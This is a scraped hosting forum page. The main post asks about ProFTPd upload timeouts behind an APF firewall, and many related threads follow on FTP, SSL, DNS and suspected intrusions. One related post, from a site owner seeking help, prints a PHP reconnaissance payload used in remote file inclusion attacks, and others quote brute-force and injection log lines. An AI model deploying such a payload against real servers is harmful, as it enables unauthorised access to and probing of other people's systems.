Proftpd Timeout Connection Attempt Failed
Currently having a problem with proftpd on my centos plesk 8.1 server.
During large uploads, lets say around 10 MB the FTP connection fails within 5 minutes or so saying:
"A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond."
I have asked for help from my server provider but they have tried and are now unable to help.
I currently have the APF firewall in my server.
Has anyone experienced this?
Below is the APF config file that i currently have & the proftpd config files that i have, if anyone can help it would be really really appreciated
APF CONFIG:
Code:
#!/bin/sh
#
# APF 0.9.6 [apf@r-fx.org]
#
# NOTE: This file should be edited with word/line wrapping off,
# if your using pico please start it with the -w switch
# (e.g: pico -w filename)
#
##
# [Devel Mode]
# !!! Do not leave set to (1) !!!
# When set to enabled; 5 minute cronjob is set to stop the firewall. Set
# this mode off (0) when firewall determined to be operating as desired.
##
# Set firewall cronjob (devel mode)
# 1 = enabled / 0 = disabled
DEVEL_MODE="0"
##
# [Main]
##
# The installation path of APF; this can be changed but it has not
# been tested what would happen.
INSTALL_PATH="/etc/apf"
# Untrusted Network interface(s); all traffic on defined interface will be
# subject to all firewall rules. This should be your internet exposed
# interfaces. Only one interface is accepted for each value.
# NOTE: The interfacing structure is being worked towards support of MASQ/NAT
IFACE_IN="eth0"
IFACE_OUT="eth0"
# Trusted Network interface(s); all traffic on defined interface(s) will by-pass
# ALL firewall rules, format is white space or comma seperated list.
IFACE_TRUSTED=""
# Enable virtual network subsystem; creats independent policy ruleset for each
# ip on a system (pulls data from 'ip addr list') to /etc/apf/vnet/ip.rules
# Template is located in the vnet/ folder for rule files. This feature can
# reduce apf start/stop performance and is not recommend for systems with more
# than 255 (/24) ip's. [0 = Disabled / 1 = Enabled]
SET_VNET="0"
# Support Monolithic kernel builds [no LKM's]. This mode of operation is
# not really supported and you use at your own risk.
SET_MONOKERN="0"
# Verifies that all inbound traffic is sourced from a defined local gateway MAC
# address. All other traffic that does not match this source MAC address will be
# rejected as untrusted traffic. It is quite trivial to forge a MAC address and as
# such this feature executes NO default accept policy against this MAC address.
VF_LGATE=""
# Verifies that the IF and IFACE_TRUSTED interfaces are actually routed (/sbin/route)
# to something. If not then chances are APF will not start properly if at all.
VF_ROUTE="1"
# Verifies that crond service is running when DEVEL_MODE=1; if not then APF will not
# try to load as if lock-up occures no cron service to flush firewall
VF_CROND="1"
# Verifies that the current system uptime is greater than this value before APF
# can activate. This is to prevent on-boot lockup issues or delays due to excessive
# amount of firewall rules. Value is in seconds; should you wish to disable this
# feature, simply set VF_UTIME to 0 value. !! NOTE: APF WILL NOT START ON IT's OWN;
# IT WILL EXIT WITH FATAL ERROR BELOW SET UPTIME !!
VF_UTIME="0"
##
# [Packet Filtering/Handling]
##
# How to handle TCP packet filtering?
#
# RESET (sends a tcp-reset; TCP/IP default)
# DROP (drop the packet; stealth ?)
# REJECT (reject the packet)
TCP_STOP="DROP"
# How to handle UDP packet filtering?
#
# RESET (sends a icmp-port-unreachable; TCP/IP default)
# DROP (drop the packet; stealth ?)
# REJECT (reject the packet)
# PROHIBIT (send an icmp-host-prohibited)
UDP_STOP="DROP"
# How to handle all other packet filtering? (icmp,arp,igmp)
#
# DROP (drop the packet)
# REJECT (reject the packet)
DSTOP="DROP"
# The sanity options control the way packets are scrutinized as
# they flow through the firewall. The main PKT_SANITY option is a
# top level toggle for all SANITY options and provides general
# packet flag sanity as a pre-scrub for the other sanity options
PKT_SANITY="1"
# Block any packets that do not conform as VALID; this feature
# is safe for most but some may experience protocol issues with
# broken remote clients
PKT_SANITY_INV="0"
View Complete Thread with Replies
Sponsored Links:
Related Forum Messages:
ProFTPD: 421 No Transfer Timeout (300 Seconds): Closing Control Connection
Since moving servers I've been plagued by constant disconnects whilst using FTP: 421 No transfer timeout (300 seconds): closing control connection I've gone through Proftpd's forum and documentation numerous times to try and find a solution to this but have been unsuccessful so far. Within proftpd's config file it's set at: TimeoutLogin 120 TimeoutIdle 3600 TimeoutNoTransfer 3600 TimeoutStalled 3600 So I am unsure where it is getting the "300 seconds" from. Even though the error states 300 seconds, this problem happens way before 300 seconds every time and has happened during the transfer of files (when the connection has been active and in use). I've tried 3 different FTP clients and used the "Keep Alive" option in each and it has absolutely no effect. I am unsure if APF is causing the problem, I can't see any problems in any of the server logs in relation to ftp.
View Replies!
View Related
CPanel Login Attempt Failed
I have not been able to login to my cPanel from my desktop which runs WinXP service Pack3. Both Firefox and Internet Explorer returns the following error message Login Attempt Failed! Also, I am unable to connect using Filezilla Client. However, I am able to connect to the same cPanel on my colleague's desktop which runs WinXP service Pack3 using Firefox browser or IE. We both share the same internet modem. - I have cleared all the cookies and private data on my desktop. Still the problem persist. - I changed to a different user on my desktop, but still could not login. - I changed my desktop IP address but still I could not log in. I use DSLinux from within Innotek Virtual Box and I was able to login to the same cPanel with the same details that were rejected under WinXP. Please anyone with a solution should please advise me on what to do. Thanks in advance. It is not convenient going to my colleagues desk to access my cPanel.
View Replies!
View Related
Connection Timeout On SSH
where I can't access my terminal because my connections keep getting timed out. Its been ok previously but for the last 2 days I could not connect because the connection timed out 9/10 times. No modifications were made during this time so whats the problem guys?
View Replies!
View Related
VPS - Connection Timeout
I have a problem with my VPS. Hosting company have migrated my vps to a new and better dedicated server and now on all my sites(and IP) I got connection timeout error. I have changed "Main IP" and resolvers in HyperVM 10 minutes ago and it's not working(or I have to wait to wait like for nameservers registration?). I can ping my IP and all services(lxadmin,lighttpd etc are started successfully and its not wotking, I still getting connection timeout error.
View Replies!
View Related
Sending Email Cpanel :: SMTP Command Timeout On Connection
i have this weird problem of emails not gettign delivered and i am hosting with theplanet. Every email is sitting on the queue and not delivered. i checked with dnsreport and it says Timed out [Last data sent: [Did not connect]] and my exim_mainlog shows R=dk_lookuphost defer (-1): host lookup did not complete 2008-06-03 04:49:59 SMTP command timeout on connection i have restarted exim, checked firewall and still i am unable to fix my problem! update: i again checked with dnsreport and my nameservers are failing NS FAIL NS A timeout occurred getting the NS records from your nameservers! None of your nameservers responded fast enough. They are probably down or unreachable. I can't continue since your nameservers aren't responding. If you have a Watchguard Firebox, it's due to a bug in their DNS Proxy, which must be disabled (31 Jul 2006 UPDATE: several years after being informed of this, there is a rumor that there is a fix that allows the Watchguard DNS proxy to work).
View Replies!
View Related
WHM Secure Connection Failed
I'm not sure why but this happen when I try to use SSL on WHM.. it just say "Secure Connection Failed" [url] Quote: The certificate is not trusted because it is self signed. The certificate is only valid for luna.ndx2.com But when I try [url]it worked fine. My SSL cert is sign by Comodo CA Limited. From my observation, it looks like my host shared SSL cert is interrupting with WHM.
View Replies!
View Related
Secure Connection Failed :: Error Code: Ssl_error_rx_record_too_long
An error occurred during a connection to site.com. SSL received a record that exceeded the maximum permissible length. (Error code: ssl_error_rx_record_too_long) The page you are trying to view can not be shown because the authenticity of the received data could not be verified. I'm not sure on how to fix this. Running CPanel. I can access WHM/CPanel fine on SSL from the main IP. Just not any of the sites or CPanel from the other IPs.
View Replies!
View Related
Error In My Dns Server : Rndc: Connect Failed: 127.0.0.1#953: Connection Refused
i got this error : rndc: connect failed: 127.0.0.1#953: connection refused oot@server [/]# rndc status rndc: connect failed: 127.0.0.1#953: connection refused root@server [/]# /etc/init.d/named status rndc: connect failed: 127.0.0.1#953: connection refused named is stopped root@server [/]# /scripts/fixndc Named could not be restarted, any obvious config errors should show up below this line. No critical problems found, will attempt to regenerate keys regardless. warn [fixrndc] /usr/sbin/rndc status failed: rndc: connect failed: 127.0.0.1#953: connection refused Creating rndc.conf Creating /etc/rndc.key warn [fixrndc] /usr/sbin/rndc status failed: rndc: connect failed: 127.0.0.1#953: connection refused Restarting named warn [fixrndc] /usr/sbin/rndc status failed: rndc: connect failed: 127.0.0.1#953: connection refused /scripts/fixrndc failed to fix the rndc key (or named is otherwise broken), please investigate manually and i have try to reload the rndc but i got this error : root@server [~]# rndc reload rndc: connect failed: 127.0.0.1#953: connection refused my vps info : linux os - centos , using cpanel , apache , mysql .... root@server [~]# uname -r 2.6.18-028stab064.7
View Replies!
View Related
Possible Break-in Attempt
I have reported this to BurstNET admin/abuse/NOC and have added a line to block them for now. Does this belong to anyone??? Nslookup/dig reveals nothing. This is my /var/log/messages Mar 19 19:24:50 ginger sshd[11565]: Failed password for root from 66.197.245.241 port 46346 ssh2 Mar 19 19:24:50 ginger sshd[11565]: reverse mapping checking getaddrinfo for 66-197-245-241.hostnoc.net failed - POSSIBLE BREAK-IN ATTEMPT! Mar 19 19:24:51 ginger sshd[11567]: Failed password for root from 66.197.245.241 port 46407 ssh2 Mar 19 19:24:52 ginger sshd[11567]: reverse mapping checking getaddrinfo for 66-197-245-241.hostnoc.net failed - POSSIBLE BREAK-IN ATTEMPT! Mar 19 19:24:53 ginger sshd[11569]: Failed password for root from 66.197.245.241 port 46468 ssh2 Mar 19 19:24:53 ginger sshd[11569]: reverse mapping checking getaddrinfo for 66-197-245-241.hostnoc.net failed - POSSIBLE BREAK-IN ATTEMPT! Mar 19 19:24:55 ginger sshd[11571]: Failed password for root from 66.197.245.241 port 46531 ssh2 Mar 19 19:24:55 ginger sshd[11571]: reverse mapping checking getaddrinfo for 66-197-245-241.hostnoc.net failed - POSSIBLE BREAK-IN ATTEMPT! Mar 19 19:24:57 ginger sshd[11573]: Failed password for root from 66.197.245.241 port 46584 ssh2 Mar 19 19:24:57 ginger sshd[11573]: reverse mapping checking getaddrinfo for 66-197-245-241.hostnoc.net failed - !POSSIBLE BREAK-IN ATTEMPT
View Replies!
View Related
Is This A Hacking Attempt
my referals logs that I keep on a website, I have come accross the following this morning, Is this some one who is trying to gain access to the server etc. [url] [url] [url] [url] [url] I have the Ip addresses that they have come from and it resolves to a Russian (I Think) website. Im just looking through all the folders on the server now and no data has been comprimised as far as I can see and im going to use the query strings in order to block access and also deny access via ip address.
View Replies!
View Related
Hack Attempt
I have started seeing the following error in the Event Viewer every day: "An anonymous session connected from xxx.xxx.xxx.xxx has attempted to open an LSA policy handle on this machine. The attempt was rejected with STATUS_ACCESS_DENIED to prevent leaking security sensitive information to the anonymous caller. The application that made this attempt needs to be fixed. Please contact the application vendor. As a temporary workaround, this security measure can be disabled by setting the HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaTurnOffAnonymousBlock DWORD value to 1. This message will be logged at most once a day." The IP address is different every time. It is not an internal IP address or any I recognize. It is from the outside. I have read about this in the Microsoft site but it only mentioned how it might be an internal service/application attempting the access. This is not my case since I am seeing remote IP addresses. Anyone can help me dig deeper into this? How can I find out more about what's going on?
View Replies!
View Related
Hacking Attempt
see the log entries below: LogFormat "%h %l %u %t "%r" %>s %b "%{Referer}i" "%{User-Agent}i" "%{X-Forwarded-For}i"" 1.2.3.4 - -[12/Sep/2007:11:15:38 +0900] "GET /~kjm/security/ml-archive/bugtraq/2006.04/msg00283.html//footer.inc.php?settings[footer]=[url]HTTP/1.1" 404 268 "-" "libwww-perl/5.808" "-" 1.2.3.4 - - [12/Sep/2007:11:16:00 +0900] "GET //footer.inc.php?settings[footer]=[url] HTTP/1.1" 404 213 "-" "libwww-perl/5.808" "-" What can you say from the above log entries?
View Replies!
View Related
Hacking Attempt On Site
I am having issue with my server. Someone is trying to execute some code and possibly trying mysql injection method. I have pasted the code below. Please suggest what can be done in this case. Regards Gagandeep +++++++++++ The person tried to use different IPs and different websites to execute the code. URL >> IP [url] [url] [url] ftp://212.11.127.86/tmp/trem/1? >> 87.118.118.156 There are many such queries under my logs. The person is using different IPs, so, i can't even block that many IPs. ++++++++++++ The CODE <?php function ConvertBytes($number) { $len = strlen($number); if($len < 4) { return sprintf("%d b", $number); } if($len >= 4 && $len <=6) { return sprintf("%0.2f Kb", $number/1024); } if($len >= 7 && $len <=9) { return sprintf("%0.2f Mb", $number/1024/1024); } return sprintf("%0.2f Gb", $number/1024/1024/1024); } echo "Osirys<br>"; $un = @php_uname(); $id1 = system(id); $pwd1 = @getcwd(); $free1= diskfreespace($pwd1); $free = ConvertBytes(diskfreespace($pwd1)); if (!$free) {$free = 0;} $all1= disk_total_space($pwd1); $all = ConvertBytes(disk_total_space($pwd1)); if (!$all) {$all = 0;} $used = ConvertBytes($all1-$free1); $os = @PHP_OS; echo "0sirys was here ..<br>"; echo "uname -a: $un<br>"; echo "os: $os<br>"; echo "id: $id1<br>"; echo "free: $free<br>"; echo "used: $used<br>"; echo "total: $all<br>"; exit; ?>
View Replies!
View Related
Notifying DC Of Hack Attempt
Usually I just block offending machines that try to get into our systems and move on but for the last 2 days I have started notifying the contacts on the arin info for offending IP's. I guess I am trying to do my part to make the internet a better place? Is this stuff largely ignored? Is anyone else doing this? Is there an easier way?
View Replies!
View Related
Hack Attempt? I'm Pretty Sure...
A new client has just opened up an account and the first thing hes installed at a few scripts called r57shell and c99shell. I'm not very familiar with these two scripts, but by the looks of them their root kits of some sort. Amd I correct in thinking this? The account has been susspended for the time being.
View Replies!
View Related
AWStats Exploit Attempt Prevention
one of my clients seems to be attracting unwanted attention, it seems as if bots or something along those lines are attempting to exploit my box, while they are unsuccessful it would seem. I was wdonering if there was a rule I could put in Mod_Security that would ban them for attempting to GET "/awstatsf/logger.php?action=log&type=Hybrid&host=hacked101&"
View Replies!
View Related
ProFTPd
I am running Proftpd on my RedHat. I have disabled anonymous login because i dont need it and its running fine. I have created a user named test on the server and i try to connect it by typing ftp://myserver/ and then provide the id and pass. Now it logged-in successfully but cant access any directories on the server. i have been Google around but really getting confused how i properly create a ftp user i want the test user to access the following directories and he can be able to upload and download files from these directories /home/usman/public_html/ /home/usman/public_ftp/ /home/usman/cgi-bin/
View Replies!
View Related
ProFTPd
This isn't a major problem but I was just wondering something regarding how ProFTPd functions. I have received a complaint about a user uploading a script, the script creating files and directories, and the user not being able to CHMOD, delete, rename, or do anything to these files. When files are created through scripts on my server, they are given a default owner permission with "www-data" for the user and group. Since ProFTPd is set up to only modify files on certain owner permissions according to the user's FTP access, ProFTPd will not allow any other owner permission and if any other owner permissions exist, ProFTPd will not allow those files to be modified or changed in anyway. Is there a way to fix this? I've been trying to figure it out but I can't. Just for note, I am using proftpd-mysql and so every user is linked through a MySQL database.
View Replies!
View Related
Proftpd
When connecting via an ftp client I want the directory listed to be /var/www/html but currently it's /home/username. I've tried changing the initial login directory with webmin to /var/www/html but to no avail. How would this be done?
View Replies!
View Related
Lfd Warning: Hack Attempt Or Legit
Code: Mon May 18 15:17:08 2009 lfd: *Suspicious File* /tmp/perl_install.work.TLoX0YtaJBrzShwA/.cpan [someuser:someuser ] - Suspicious directory The 'someuser' is a legitimate user on the server, an auto body website setup last October. The content of the directory: Quote: root@server [/tmp/perl_install.work.TLoX0YtaJBrzShwA/.cpan/CPAN]# ls -lh total 3.0K drwx------ 2 someuser someuser 1.0K May 16 17:54 ./ drwx------ 3 someuser someuser 1.0K May 16 17:54 ../ -rw-r--r-- 1 someuser someuser 361 May 16 17:54 MyConfig.pm File content: Code: $CPAN::Config->{'cpan_home'} = "/tmp/perl_install.work.TLoX0YtaJBrzShwA/.cpan"; $CPAN::Config->{'build_dir'} = "/tmp/perl_install.work.TLoX0YtaJBrzShwA/.cpan/build"; $CPAN::Config->{'histfile'} = "/tmp/perl_install.work.TLoX0YtaJBrzShwA/.cpan/histfile"; $CPAN::Config->{'keep_source_where'} = "/tmp/perl_install.work.TLoX0YtaJBrzShwA/.cpan/sources"; 1; __END__ Code: root@server [/tmp/perl_install.work.TLoX0YtaJBrzShwA/.cpcpan/STABLE]# ls -lh total 3.0K drwx------ 2 someuser someuser 1.0K May 16 17:54 ./ drwx------ 3 someuser someuser 1.0K May 16 17:54 ../ -rw-r--r-- 1 someuser someuser 735 May 16 17:54 modules.versions
View Replies!
View Related
Index.php Not Working After Hack Attempt
I had an untapped image upload site on my server which i forgot. Some guys or children upload something noxious and neutralize all the "index.php". This was a hack attempt with SSH. We noticed that, close this account delete uploaded files. But there is a quirky problem. Any of index.php's isn't working after this attempt. Index file is working after change its name, example "mindex.php". We updated all the services, rebuild apache but don't working. We can't use any index.php on the server. Additionally, there are 34 possible trojans appear on the server. I tried to delete them with BitDefender but can't do that.( I checked that WHM / Scan for Trojan Horses )
View Replies!
View Related
Attempt To Install RoR, Libsafe Stops Me
whenever I attempt to install RoR, libsafe stops me, how do I diable libsafe so I can install RoR, then re-enable libsafe. [root@server1 ~]# gem install rails --include-dependencies Libsafe version 2.0.16 Detected an attempt to write across stack boundary. Terminating /usr/bin/ruby-bin. uid=0 euid=0 pid=20960 Call stack: 0x4c0e6871 /lib/libsafe.so.2.0.16 0x4c0e6c5d /lib/libsafe.so.2.0.16 0x80549b8 /usr/bin/ruby-bin 0x8054a52 /usr/bin/ruby-bin 0x80556af /usr/bin/ruby-bin .....
View Replies!
View Related
ProFTPD Security
i use ProFTPD as FTP. I use webmin as admin panel. After installation, im worried about the default security config. Also, i can log as anonym wich is ok, however i can't log using my unix user what i have to do? Here's my config sample; Quote: # This is a basic ProFTPD configuration file (rename it to # 'proftpd.conf' for actual use. It establishes a single server # and a single anonymous login. It assumes that you have a user/group # "nobody" and "ftp" for normal operation and anon. ServerName"Junky-Monkey" ServerTypestandalone DefaultServeron # Port 21 is the standard FTP port. Port21 # Umask 022 is a good standard umask to prevent new dirs and files # from being group and world writable. Umask022 # To prevent DoS attacks, set the maximum number of child processes # to 30. If you need to allow more than 30 concurrent connections # at once, simply increase this value. Note that this ONLY works # in standalone mode, in inetd mode you should use an inetd server # that allows you to limit maximum number of processes per service # (such as xinetd). MaxInstances30 # Set the user and group under which the server will run. Usernobody Groupnobody # To cause every FTP user to be "jailed" (chrooted) into their home # directory, uncomment this line. DefaultRoot ~ # Normally, we want files to be overwriteable. <Directory /> AllowOverwriteon </Directory> # A basic anonymous configuration, no upload directories. If you do not # want anonymous users, simply delete this entire <Anonymous> section. <Anonymous ~ftp> Userftp Groupftp # We want clients to be able to login with "anonymous" as well as "ftp" UserAliasanonymous ftp # Limit the maximum number of anonymous logins MaxClients10 # We want 'welcome.msg' displayed at login, and '.message' displayed # in each newly chdired directory. DisplayLoginwelcome.msg DisplayFirstChdir.message # Limit WRITE everywhere in the anonymous chroot <Limit WRITE> DenyAll </Limit> </Anonymous>
View Replies!
View Related
ProFTPD And Webmin
I am trying to set up the FTP on my VPS. I am using webmin control pannel and os CentOs 4. I have created a user called mic and made the home dir of the user /var/www/. then placed the user in the group ftpusers. I then went into the proFTPD server config but of webadmin and set the user and group. i then tryed to log in to the FTP. SUCSESS. BUT .... wen i tryed to upload somethink it give me permission denied. and when i try to delete somethink Access denied. What did i do wrong?
View Replies!
View Related
Proftpd And Plesk
I would like to setup proftpd with mod_sql to access a mysql database for ftp accounts instead of using pam. The server has pleask 8.1 installed with psa-proftpd-xinetd-1.3.0 installed. How do I recompile the psa-proftpd with --with-modules=mod_sql option? Here is the current proftpd configure command: configure --localstatedir=/var/run --with-libraries=/usr/lib64 --sysconfdir=/etc --with-modules=mod_ratio:mod_readme:mod_quota --with-modules=mod_ratio:mod_readme:mod_quota:mod_tls --enable-buffer-size=8192 --prefix=/usr CC=gcc CFLAGS=-O -pipe -O3 -fexpensive-optimizations -fstrength-reduce -pipe -DPLESK_Linux -I/usr/include/libxml2 -I/home/builder/buildbot/psa-aiconfig-810-fc4x64/build/plesk/lib/dist/usr/include -I/usr/include CXXFLAGS=-O -pipe -O3 -fexpensive-optimizations -fstrength-reduce -pipe -DPLESK_Linux -I/usr/include/libxml2 -I/home/builder/buildbot/psa-aiconfig-810-fc4x64/build/plesk/lib/dist/usr/include -I/usr/include CXX=g++ LDFLAGS= --enable-ltdl-convenience --no-create --no-recursion
View Replies!
View Related
Proftpd RLimitCPU
anyone used this directive? how did you decide on a decent value to set the limits at? ideally id just like to stop processes taking up too much cpu, but it seems you cant set it as a %..
View Replies!
View Related
Mysql_mod Missing For ProFTPD
Trying to install ProFTPD with mysql, the problem is after installing it and adding the lines in the config file to use MySQL the service fails to start. The error Im getting is: "unknown configuration directive 'SQLAuthTypes'" So it seems like it doesnt recongize the function needed to use mysql with proftpd, which is in mysql_mod.c. I did proftpd -l and the mysql_mod.c was not listed, I did a search on the whole box and couldnt find mysql_mod anywhere. Im on Fedora Core 6 and tried to install proftpd with yum: yum install proftpd proftpd-mysql Do I have to compile from source to get this to work? Or did I miss installing something else that would have mysql_mod.c present? I currently have mysql installed and running, tested the login info I had in the config file and everything works on the mysql side.Silly
View Replies!
View Related
ProFTPd To Windows Over SAMBA
We've got a Linux box running ProFTPd reaches a Windows box over SAMBA. This works very well but when the client has a great number of files, the FTP Windows-based FTP clients they use don't always give accurate directory listings (if any at all). I know there's some bug in the way SAMBA works with Windows File Sharing but I don't know what the magic file number is that, when reached, prevents a proper directory listing. Does anyone know what this magic number is or if there's an available, tested fix for this?
View Replies!
View Related
Proftpd Fail On Start
I wanted to upgrade proftpd and dit this. I followed an how-to on directadminforums: Code: cd /usr/local/directadmin/customapache/ wget ftp://ftp.proftpd.org/distrib/source....3.1rc2.tar.gz tar xzf proftpd-1.3.1rc2.tar.gz rm -rf proftpd-1.3.1rc2.tar.gz cd proftpd-1.3.1rc2 ./configure --prefix=/usr --sysconfdir=/etc --localstatedir=/var/run --with-modules=mod_ratio:mod_readme:mod_tls make make install perl -pi -e "s/^AuthPAM on/#AuthPAM on/g" /etc/proftpd.conf /etc/rc.d/init.d/proftpd restart I changed the proftpd-1.3.1rc2 version to the newest version of proftpd.org When I run /etc/init.d/proftpd start, I get the following: Code: Starting proftpd: - mod_tls/2.1.2: compiled using OpenSSL version 'OpenSSL 0.9.7k 05 Sep 2006' headers, but linked to OpenSSL version 'OpenSSL 0.9.7a Feb 19 2003' library - Fatal: unable to load module 'mod_tls.c': Operation not permitted [FAILED]
View Replies!
View Related
OpenSSL - CURL, Httpd And Proftpd
so I got OpenSSL 0.9.8k up and installed, no issued: Quote: # openssl OpenSSL> version OpenSSL 0.9.8k 25 Mar 2009 OpenSSL> Rebuilt cURL (and then php), httpd and proftpd but all of them are still linking to the older libraries for some reason Quote: # curl -V curl 7.19.4 (x86_64-unknown-linux-gnu) libcurl/7.19.4 OpenSSL/0.9.8g zlib/1.2.3 Protocols: tftp ftp telnet dict ldap http https ftps Features: IPv6 Largefile NTLM SSL libz Quote: [Tue Apr 14 00:11:03 2009] [notice] Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8g DAV/2 PHP/5.2.9 Apache configured -- resuming normal operations Quote: Starting proftpd: - mod_tls/2.2.1: compiled using OpenSSL version 'OpenSSL 0.9.8i 15 Sep 2008' headers, but linked to OpenSSL version 'OpenSSL 0.9.8g 19 Oct 2007' library proftpd has its own set of issues obviously built with i headers and linked to g headers. Any ideas wtf I did? I recomplined and restarted everything. I removed the g and i libraries completely. OpenSSH seems happy and nothing is actually "wrong", the server is working fine but I'm really anal retentive this way...it's kinda how I feel "safer" at the OS level.
View Replies!
View Related
Proftpd Install Issue On Cent Os 5
I have been attempting to install Proftpd on linux(cent os 5 32 bit). The issue is i have to use proftpd i can't use vsftp or pure ftp I have downloaded the RPM. I downloaded this one to the server [url]. and i ran the command rpm -ivh proftpd* and it did its thing for a second and told me it was done. But when i run the command /etc/init.d/proftpd start or restart it doesn't wanna start. It just tells me failed. Can anyone help me with this? I'm not sure what else i can do.
View Replies!
View Related
ProFTPd :: Set Group And Permissions
Currently I have Umask 027 The problem is, how do I get the group to be set as apache on a file/dir upload? I really do not like having other permissions set, as it can be a security risk, allowing others to access someone else's files. Another issue is, I can't remove privileges, but I can add them. copy of proftpd.conf: Code: ServerName "FTP" ServerType standalone Port 21 PassivePorts 35000 35999 UseReverseDNS off TimesGMT off TimeoutLogin 120 TimeoutIdle 600 TimeoutNoTransfer 900 TimeoutStalled 3600 #MaxCients 20 "Sorry, the maximum number of allowed users are already connected (%m)" #MaxClientsPerHost 2 #MaxClientsPerUser 2 MaxConnectionsPerHost 6 "Sorry, you may not have more then 6 connections open at a time" MaxHostsPerUser 6 "Sorry, you may not connect more than 6 times" ScoreboardFile /var/run/proftpd/proftpd.pid TransferLog /var/log/proftpd/xferlog.legacy LogFormat default "%h %l %u %t "%r" %s %b" LogFormat auth "%v [%P] %h %t "%r" %s" LogFormat write "%h %l %u %t "%r" %s %b" #DON'T modify this log format. Its used by DirectAdmin to determine user usage LogFormat userlog "%u %b" ExtendedLog /var/log/proftpd/IP.bytes WRITE,READ userlog AuthUserFile /etc/proftpd.passwd DefaultServer on #AuthPAM off <IfModule mod_tls.c> TLSEngine on TLSLog /var/log/proftpd/proftpd.tls.log TLSProtocol TLSv1 TLSVerifyClient off TLSRequired off #Certificates TLSRSACertificateFile /etc/exim.cert TLSRSACertificateKeyFile /etc/exim.key #TLSCACertificateFile /etc/ftpd/root.cert.pem </IfModule> <Global> DeferWelcome on RequireValidShell no DefaultRoot ~ DirFakeUser on ftp DirFakeGroup on ftp User ftp Group ftp #UserAlias anonymous ftp AllowStoreRestart on AllowRetrieveRestart on ListOptions -a Umask 027 022 DisplayLogin welcome.msg DisplayChdir readme AllowOverwrite on IdentLookups off ExtendedLog /var/log/proftpd/access.log WRITE,READ write ExtendedLog /var/log/proftpd/auth.log AUTH auth # # Paranoia logging level.... # #ExtendedLog /var/log/proftpd/paranoid.log ALL default </Global> Include /etc/proftpd.vhosts.conf
View Replies!
View Related
ProFTPd - Login Via SFTP Only? Using Webmin
I have installed ProFTPd through Webmin onto Ubuntu 8.10 Server edition. I can connect to ProFTPd via FTP on Port 21 no problem, but currently am unable to via SFTP (using WinSCP). I would like to block all FTP access on Port 21 and only make it only possible to connect via SFTP/SSH on Port 22.
View Replies!
View Related
High Load With Many Proftpd Processes
I have a centos 4.4 server, I noticed the load is high and when I checked the top command I found the following: Code: PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 17212 root 25 0 11504 6236 908 R 57 0.3 195:58.73 http 27994 ftp 18 0 7624 2232 336 R 48 0.1 0:02.39 proftpd 7056 nobody 15 0 27764 10m 1884 S 8 0.5 0:00.62 httpd 4738 nobody 15 0 25788 8952 1976 S 7 0.4 0:08.01 httpd 7199 root 18 0 6376 3704 760 R 6 0.2 0:02.41 top 7021 nobody 16 0 27240 10m 1964 S 5 0.5 0:01.73 httpd 3999 nobody 16 0 26888 9.9m 2008 S 5 0.5 0:09.39 httpd 7180 nobody 15 0 26524 9524 1700 S 5 0.5 0:00.16 httpd 6330 nobody 15 0 26856 9.8m 1992 S 4 0.5 0:04.34 httpd 6272 nobody 15 0 26764 9912 1968 S 2 0.5 0:05.36 httpd 6239 nobody 15 0 25428 8476 1888 S 1 0.4 0:02.95 httpd 1 root 16 0 2300 96 68 S 0 0.0 4:46.28 init 20323 ftp 16 0 5116 428 312 S 0 0.0 0:00.92 proftpd 22126 ftp 16 0 5512 428 312 S 0 0.0 0:01.03 proftpd 22313 ftp 16 0 5644 424 312 S 0 0.0 0:01.00 proftpd 22781 ftp 16 0 5644 460 304 S 0 0.0 0:01.04 proftpd 22837 ftp 16 0 5644 424 312 S 0 0.0 0:01.02 proftpd 24157 ftp 16 0 5776 432 308 S 0 0.0 0:01.09 proftpd 24176 ftp 16 0 5776 432 308 S 0 0.0 0:01.09 proftpd 24989 ftp 16 0 6040 476 316 S 0 0.0 0:00.91 proftpd 25327 ftp 16 0 6172 548 308 R 0 0.0 0:01.02 proftpd 25526 ftp 16 0 6172 808 308 R 0 0.0 0:01.03 proftpd 26013 ftp 16 0 6172 1128 308 R 0 0.1 0:00.98 proftpd 26152 ftp 16 0 6172 1144 312 R 0 0.1 0:01.00 proftpd 26306 ftp 16 0 6172 1172 308 R 0 0.1 0:01.02 proftpd 26455 ftp 16 0 6172 1420 312 S 0 0.1 0:04.02 proftpd 26860 ftp 16 0 6172 928 308 S 0 0.0 0:01.04 proftpd 26936 ftp 16 0 6172 928 308 S 0 0.0 0:00.91 proftpd 27166 ftp 16 0 6172 800 308 S 0 0.0 0:00.96 proftpd 27329 ftp 16 0 6172 716 308 S 0 0.0 0:01.01 proftpd 15659 ftp 16 0 6172 592 308 S 0 0.0 0:00.99 proftpd 4944 ftp 16 0 6172 544 336 S 0 0.0 0:00.98 proftpd 5163 ftp 16 0 6304 544 336 S 0 0.0 0:00.99 proftpd 18964 ftp 16 0 6304 608 308 S 0 0.0 0:00.96 proftpd 19151 ftp 16 0 6304 620 328 S 0 0.0 0:00.99 proftpd 4986 ftp 16 0 6304 596 308 S 0 0.0 0:00.87 proftpd 30721 ftp 16 0 6436 612 312 S 0 0.0 0:00.94 proftpd 13808 ftp 16 0 6436 644 316 S 0 0.0 0:01.01 proftpd 13905 ftp 16 0 6436 640 316 S 0 0.0 0:00.97 proftpd also when I checked the `ps aux` command I found a lot in this form: Code: ftp 22006 0.0 0.0 5512 424 ? S 01:24 0:01 proftpd: (accepting connections)
View Replies!
View Related
Debian + Plesk + Proftpd Fails
My Plesk version is 8.2 and i use debian 3.1, I check the instructions on [url] this faq, it seems added in both inetd configuration file and xinetd.d configuration file in my configuration, also xinetd is working through system but ftp cannot be connectable. It gives "Unable to login server" from remote client and i also check with command line ftp client and service says that "421 Service not available, remote server has closed connection" I also check this [url] faq and port is open: Quote: Starting nmap 3.81 [url] at 2007-08-02 16:59 CEST Interesting ports on xx-server.xxxxxx.net (xxx.xxx.xxx.xxx): PORT STATE SERVICE 21/tcp open ftp Nmap finished: 1 IP address (1 host up) scanned in 0.013 seconds Is there anyone knows how could I solve this situation?
View Replies!
View Related
Is It A Hacking Attempt.. Request Of Wierd Files Along With Unwanted SSL Handshake
